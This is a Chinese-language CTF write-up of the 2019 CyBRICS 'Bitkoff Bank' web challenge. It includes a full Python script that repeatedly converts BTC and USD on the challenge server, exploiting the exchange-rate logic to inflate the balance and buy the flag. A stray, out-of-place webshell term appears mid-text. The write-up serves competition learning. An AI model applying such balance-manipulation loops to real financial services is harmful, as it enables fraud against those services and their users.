赞
踩
前言
周末参加了LCBC主办的2019 CyBRICS CTF Quals,在金砖五国中,获得了top5的成绩,以下是web的题解。
Bitkoff Bank
点一次mine btc,获得0.0000000001 BTC,而购买auto-miner需要0.1 USD。
购买auto-miner后,我们的网页会多出这样一个script,每秒帮我们点击1000次,但实际上并非1秒能获得这么多BTC:
然后获取flag需要1USD,显然即便依靠auto-miner也是遥遥无期的。PHP大马
通过做题的经验,给了的功能一般不会白给,我们测试一下转换功能,发现不断将BTC转成USD,将USD转成BTC,就会因为汇率问题就会不断加钱,写脚本即可:
import requests import re url = 'http://95.179.148.72:8083/index.php' cookie = { 'name':'yyplsky', 'password':'yyplskycool' } def GetUSD(): while True: try: r = requests.get(url,cookies=cookie,timeout=3) res = r.content res = re.findall(r'<b>([0-9\.]*)</b><br>',res) return res[0] except: pass def USD_to_BTC(USD): data = { 'from_currency':'usd', 'to_currency':'btc', 'amount':USD } while True: try: r = requests.post(url,data=data,cookies=cookie,timeout=3) break except: pass def GetBTC(): while True: try: r = requests.get(url,cookies=cookie,timeout=3) res = r.content res = re.findall(r'<b>([0-9\.]*)</b><br>',res) return res[1] except: pass def BTC_to_USD(BTC): data = { 'from_currency':'btc', 'to_currency':'usd', 'amount':BTC } while True: try: r = requests.post(url,data=data,cookies=cookie,timeout=3) break except: pass for i in range(200): USD = GetUSD() print USD USD_to_BTC(USD) BTC = GetBTC() print BTC BTC_to_USD(BTC)
通过来回转钱,跑差不多十分钟就够$1 USD,可以购买flag了。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。